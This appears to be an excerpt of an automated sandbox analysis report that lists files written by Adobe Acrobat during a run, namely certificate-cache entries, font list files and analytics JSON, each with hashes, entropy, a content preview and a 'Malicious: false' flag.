SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7321365340992054
Encrypted:	false
SSDEEP:	3:kkFklJOk/tfllXlE/HT8km/JXNNX8RolJuRdxLlGB9lQRYwpDdt:kKbEeT8XNMa8RdWBwRd
MD5:	DF1B815FCCCF6D830A8EFA7B79D2A1F4
SHA1:	C7B1790BC13D33F6398F9133755E64BC7C5B07ED
SHA-256:	4AE4107BDBFED17FBDFA259FA4861FFE7648D4A7F64BCF19FB9A532AF9A65B6E
SHA-512:	420289146DD4D3408C080DBDCE578D457155EDB0DF5262E55613C5300039C50B9A051BC8D24A59A23C7FFB69B1BD382266026A70654CA302BAD0EA1F750D61BE
Malicious:	false
Preview:	p...... ........:....c..(....................................................... ..........W....C...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.230795304831838
Encrypted:	false
SSDEEP:	6:kKtebPL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:YbPiDImsLNkPlE99SNxAhUe/3
MD5:	01A4E425F24E86726D4DF460F22E036C
SHA1:	54AFF745070C6F0988EE5206414C6433AAB84CF8
SHA-256:	B524BAF4BCD1783E5DC617A3F3B20DA6C1490ACC608185D06819B36E17B69920
SHA-512:	3027DBA6D0416357F8DB06E1B4750A159573CF5237156CF43746E28E9560CC6030BF88DF2135A06C038B985A707F44935EC9471DDF418F20CA59203A5E66854C
Malicious:	false
Preview:	p...... ........_....c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7968

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7968

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3469729870749125
Encrypted:	false
SSDEEP:	6:YEQXJ2HXluAQRoRp2KYvB3/dVlPIHAR0YxWHKoAvJM3g98kUwPeUkwRe9:YvXKXZQ+p2pvR/ZwHAmGMbLUkee9
MD5:	94C52940AD608B1E23A7AAEC909FC089
SHA1:	88B859C63DC3F34244E3F78036ACBE8CD220AD8F
SHA-256:	8BFADADE6422D853A4402444DBBACDEC357ED732FEF2FD765A8EF877AF08B0FD
SHA-512:	7FAA53866A4C7C00EE32CFCC1B33D06418E525ED74815D9B1D1ACE7CD8EDE53712C58D8DAB671FE8F2D51C599C082193D9C774F4DB4B440D1317D11082DD34EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75c5c91b-236b-4e97-8598-e875ae9b3527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736745839287,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.283095364168755
Encrypted:	false
SSDEEP:	6:YEQXJ2HXluAQRoRp2KYvB3/dVlPIHAR0YxWHKoAvJfBoTfXpnrPeUkwRe9:YvXKXZQ+p2pvR/ZwHAmGWTfXcUkee9
MD5:	705A0A685C5CD2198E26F78BC4D22F25
SHA1:	FB19CAE3EAE58868DEC4889FCECE48E660283B6F
SHA-256:	089A7B9229E417F60B7272501A65B6132C15483F37275F60ADA6CA5BE47D3226
SHA-512:	5401D386CFF2F8CD9B20471AFE41FA3F104FC5CFC75C6478461310B383402215D22D0C56E273763FDC6D8A2704458093146CF4B553BF4D1F4D4C688E92803F9A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75c5c91b-236b-4e97-8598-e875ae9b3527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736745839287,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.261916439214354
Encrypted:	false
SSDEEP:	6:YEQXJ2HXluAQRoRp2KYvB3/dVlPIHAR0YxWHKoAvJfBD2G6UpnrPeUkwRe9:YvXKXZQ+p2pvR/ZwHAmGR22cUkee9
MD5:	5459ADE5353DBEF12BB55918D8574F31
SHA1:	7BD95E5835DADBE7075AF0B427156DFE0182A345
SHA-256:	722C5680891D83B5B3C9ABA6D6E3DF3EE75B90DD9F99EAEA2E221D57C191215A
SHA-512:	1232E537BF7EE15DBEBD58624C415B1EB7D196AAC74635F1D84D5C9DB0E7DE738F90F84805DE94FE0BC683E52C9998D0E38731C55EB88578CC5D41FB88A92ABA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75c5c91b-236b-4e97-8598-e875ae9b3527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736745839287,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.323346431892409
Encrypted:	false
SSDEEP:	6:YEQXJ2HXluAQRoRp2KYvB3/dVlPIHAR0YxWHKoAvJfPmwrPeUkwRe9:YvXKXZQ+p2pvR/ZwHAmGH56Ukee9
MD5:	3DD8FCBA88FC539651D2455B62B1DD18
SHA1:	D84D7323A2D49B6F0864C884283223CC474C7A95
SHA-256:	B5B1F6D8E784AAE965D208354E05DCCB31E45A7184D5B21FEA6B5CC90E450C74
SHA-512:	B6E1B6F0997DF87F27326A3C2A3C7E863278E67AF8E78F6BFC3803F8BA2D1F8BB378E488A7DD462C9E989B2A294AAD9BA864DA81AA6C6BDE2B6EF77AE2C79001
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75c5c91b-236b-4e97-8598-e875ae9b3527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736745839287,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691004843360525
Encrypted:	false
SSDEEP:	24:Yv6XRp2pJhXpLgE9cQx8LennAvzBvkn0RCmK8czOCCSX:YvI2JhXhgy6SAFv5Ah8cv/X
MD5:	DD6251D26BB513BAC18B78B9E09D96CE
SHA1:	ACE4C2B20C8880690A51711988CA425158C2209D
SHA-256:	52EFFC10B65FDE813564B85A70B7AD7B9A2F10ADB5867BF566506E127F2B1D82
SHA-512:	A45B2BA147525BC63FE22333F2484684E12BBDB7B13DC0A856FA2198989AFC1C398CD91BA335EEFEBDBE7F945B58C1A3EFB4FB7ADBD8C68E159468A16486A901
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75c5c91b-236b-4e97-8598-e875ae9b3527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736745839287,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.273582480116317
Encrypted:	false
SSDEEP:	6:YEQXJ2HXluAQRoRp2KYvB3/dVlPIHAR0YxWHKoAvJf8dPeUkwRe9:YvXKXZQ+p2pvR/ZwHAmGU8Ukee9
MD5:	165D4E9F70D9F39C1C5063F1D6F83DCE
SHA1:	BC164D3F807CDDEF7849B96959416894F5391935
SHA-256:	EE88627CBAAF05ED7115274B75485DC472C04C7E030BB5B9D7D2817C59ACFAA4
SHA-512:	3DFECAEC2491E240417C46F6F1F940C80797DBD00BF44473F83A07F8D94FFE52D2DBC756723DB6B2806B9A2EF9D8D00B9298EBDC8039C204DCACF24D6F558D34
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75c5c91b-236b-4e97-8598-e875ae9b3527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736745839287,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.271658437127879
Encrypted:	false
SSDEEP:	6:YEQXJ2HXluAQRoRp2KYvB3/dVlPIHAR0YxWHKoAvJfQ1rPeUkwRe9:YvXKXZQ+p2pvR/ZwHAmGY16Ukee9
MD5:	369BC03F1BEBF1DB987FF6A8E0E3A1B8
SHA1:	683CF06DE3655CB85042B63C78F730A871D3AC65
SHA-256:	CF1F433BDF150FCE6D0B3EE9C1684A47F6AF54700DF64DA15B9ED77BDEF69A3A
SHA-512:	162EF6DA8754740E5E0D8F363454DE30D1B1A95699FBF196537A29540B450B5FED1B4444EF1783CE00E5A45B190943DF3BB8157FD116E17BB3AA23875962A507
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75c5c91b-236b-4e97-8598-e875ae9b3527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736745839287,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290316568726672
Encrypted:	false
SSDEEP:	6:YEQXJ2HXluAQRoRp2KYvB3/dVlPIHAR0YxWHKoAvJfFldPeUkwRe9:YvXKXZQ+p2pvR/ZwHAmGz8Ukee9
MD5:	9E45E91C1366822A3C96174C7A5024A0
SHA1:	77A047A30DEA7CDE7CF576D24A5A8E1D3B2C7329
SHA-256:	64356DF37BC5A010E36C7C25E97E093B1E6D6BE7E68ED1A330DDE6C11DA256FC
SHA-512:	6B3F7635B5F5F60903E16BF023E8815954B212E9EACCBE955E1D430664D07C945FA9ED19E5C23B9266F3CD8C47D005333FF599CE293F2740977E19C94CF07C2E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75c5c91b-236b-4e97-8598-e875ae9b3527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736745839287,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.302155446746959
Encrypted:	false
SSDEEP:	6:YEQXJ2HXluAQRoRp2KYvB3/dVlPIHAR0YxWHKoAvJfzdPeUkwRe9:YvXKXZQ+p2pvR/ZwHAmGb8Ukee9
MD5:	AB798390EB61D35A7B861A5D25346E30
SHA1:	01BAF639E6F41C9A485CFE72B92519C9498B9919
SHA-256:	1A7BF77E7101A651F4F1F7AE008D7FB77E4D69DA82A8B703D711F71EE330DB81
SHA-512:	CEB75B26875387FA4A78536A8A7955D4558427DEFFEF5613D5EB0106FBBBF16467F961DEAE279B5E688C0570405E684CAB59ADDDBCA5BF884F825123EAB9CCE6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75c5c91b-236b-4e97-8598-e875ae9b3527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736745839287,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

